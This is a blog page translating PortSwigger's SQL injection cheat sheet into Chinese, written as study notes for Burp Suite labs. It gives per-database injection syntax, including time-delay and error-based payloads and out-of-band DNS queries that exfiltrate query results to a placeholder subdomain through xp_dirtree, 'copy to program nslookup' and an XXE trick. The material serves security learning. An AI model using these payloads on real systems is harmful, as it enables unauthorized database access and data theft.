某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

    • 服务器端主题
    • SQL注入

      • SQL注入
      • SQL注入-UNION攻击
      • SQL注入-检查数据库信息
      • SQL注入-盲注
      • SQL注入备忘单
        • 字符串拼接
        • 字符串截取
        • 注释
        • 数据库版本
        • 数据库内容
        • 条件错误
        • 通过可见的错误消息提取数据
        • 批处理(堆叠)查询
        • 时间延迟
        • 带条件的时间延迟
        • DNS查询
        • 带有数据泄露的 DNS 查询
      • 实验室参考答案
    • 身份验证

    • 目录遍历

    • OS命令注入

    • 业务逻辑漏洞

    • 信息泄露

    • 访问控制

    • 文件上传漏洞

    • 条件竞争

    • 服务端请求伪造(SSRF)

    • XML外部实体(XXE)注入

    • NoSQL注入

    • API测试

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

  • BurpSuite及官方实验室
  • 服务器端主题(翻译)
  • SQL注入
clincat
2023-04-25
目录

SQL注入备忘单

# SQL注入备忘单

翻译

原文:https://portswigger.net/web-security/sql-injection/cheat-sheet

- name: 翻译
  desc: 原文:https://portswigger.net/web-security/sql-injection/cheat-sheet
  bgColor: '#F0DFB1'
  textColor: 'green'
1
2
3
4

此SQL注入 (opens new window)备忘单 包含一些有用的语法示例,你可以使用这些语法来执行 SQL 注入攻击时经常出现的各种任务。

# 1.1字符串拼接

将多个字符串连接在一起,以创建单个字符串

数据库类型 语法
Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
MySQL 1、'foo' 'bar'(注意中间的空格)
2、CONCAT('foo', 'bar')

# 1.2字符串截取

你可以从 具有指定长度的指定偏移量中 提取字符串的一部分。请注意,偏移索引从 1 开始。以下每个表达式都将返回字符串ba。

数据库类型 语法
Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

# 1.3注释

你可以使用注释 截断查询,并删除原始查询中 跟随输入的部分。

数据库类型 语法
Oracle --comment
Microsoft --comment
PostgreSQL --comment
MySQL 1、#comment
2、-- comment(注意双破折号后面的空格)
3、/*comment*/

# 1.4数据库版本

你可以查询数据库 以确定其类型和版本。在制定更复杂的攻击时,此信息非常有用。

数据库类型 语法
Oracle 1、SELECT banner FROM v$version
2、SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

# 1.5数据库内容

你可以列出数据库中存在的表,以及这些表所包含的列。

数据库类型 语法
Oracle 1、SELECT * FROM all_tables
2、SELECT * FROM all_tab_columns WHERE table_name = '表名'
Microsoft 1、SELECT * FROM information_schema.tables
2、SELECT * FROM information_schema.columns WHERE table_name = '表名'
PostgreSQL 1、SELECT * FROM information_schema.tables
2、SELECT * FROM information_schema.columns WHERE table_name = '表名'
MySQL 1、SELECT * FROM information_schema.tables
2、SELECT * FROM information_schema.columns WHERE table_name = '表名'

# 1.6条件错误

你可以测试单个布尔条件,并在条件为 true 时触发数据库错误。

数据库类型 语法
Oracle SELECT CASE WHEN (你的条件) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (你的条件) THEN 1/0 ELSE NULL END
PostgreSQL 1 = (SELECT CASE WHEN (你的条件) THEN 1/(SELECT 0) ELSE NULL END)
MySQL SELECT IF(你的条件, (SELECT table_name FROM information_schema.tables), 'a')

# 1.7通过可见的错误消息提取数据

你可能会引发错误消息,从而泄露恶意查询中返回的敏感数据。

数据库类型 语法
Oracle 暂无
Microsoft SELECT 'foo' WHERE 1 = (SELECT 'secret')
输出:> Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQL SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
输出:> invalid input syntax for integer: "secret"
MySQL SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
输出:> XPATH syntax error: '\secret'

# 1.8批处理(堆叠)查询

你可以使用批处理查询 连续执行多个查询。请注意,在执行后续查询时,不会将结果返回给应用程序。因此,此技术主要用于盲注漏洞,在这种情况下,你可以使用第二个查询来触发 DNS 查找、条件错误或时间延迟。

数据库类型 语法
Oracle 不支持批处理查询
Microsoft 查询1; 查询2
PostgreSQL 查询1; 查询2
MySQL 查询1; 查询2

笔记

对于 MySQL,批处理查询通常不能用于 SQL 注入。但是,如果目标应用程序使用某些 PHP 或 Python api 与 MySQL 数据库通信,则偶尔可能会出现这种情况。

# 1.9时间延迟

在处理查询时,可以在数据库中造成时间延迟。以下操作将导致 10 秒的无条件时间延迟。

数据库类型 语法
Oracle dbms_pipe.receive_message(('a'), 10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)

# 1.10带条件的时间延迟

你可以测试单个布尔条件,并在条件为 true 时触发时间延迟。

数据库类型 语法
Oracle SELECT CASE WHEN (你的条件) THEN 'a'||dbms_pipe.receive_message(('a'), 10) ELSE NULL END FROM dual
Microsoft IF (你的条件) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (你的条件) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(你的条件, SLEEP(10), 'a')

# 1.11DNS查询

可以使数据库对外部域执行 DNS 查找。为此,你需要使用Burp Collaborator (opens new window)来生成一个唯一的 Burp Collaborator 子域,你将在攻击中使用该子域,然后轮询 Collaborator 服务器以确认发生了 DNS 查找。

数据库类型 语法
Oracle 以下技术利用 XML 外部实体(XXE)漏洞来触发 DNS 查找。该漏洞已修补,但存在许多未修补的 Oracle 安装版本:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://子域名/"> %remote;]>'),'/l') FROM dual

以下技术适用于完全修补的 Oracle 安装版本,但需要更高的权限:
SELECT UTL_INADDR.get_host_address('子域名')
Microsoft exec master..xp_dirtree '//子域名/a'
PostgreSQL copy (SELECT '') to program 'nslookup 子域名'
MySQL 以下技术仅适用于 Windows:
1、LOAD_FILE('\\\\子域名\\a')
2、SELECT ... INTO OUTFILE '\\\\子域名\a'

# 1.12带有数据泄露的 DNS 查询

可以使数据库对包含注入查询结果的外部域执行 DNS 查找。为此,你需要使用Burp Collaborator (opens new window)来生成一个唯一的 Burp Collaborator 子域,你将在攻击中使用该子域,然后轮询 Collaborator 服务器以检索任何 DNS 交互的详细信息,包括泄露的数据。

数据库类型 语法
Oracle SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT 你的查询)||'.子域名/"> %remote;]>'),'/l') FROM dual
Microsoft declare @p varchar(1024);set @p=(SELECT 你的查询);exec('master..xp_dirtree "//'+@p+'.子域名/a"')
PostgreSQL create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT 你的查询);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.子域名''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQL 以下技术仅适用于 Windows:
SELECT 你的查询 INTO OUTFILE '\\\\子域名\a'
编辑 (opens new window)
SQL注入-盲注
实验室参考答案

← SQL注入-盲注 实验室参考答案→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式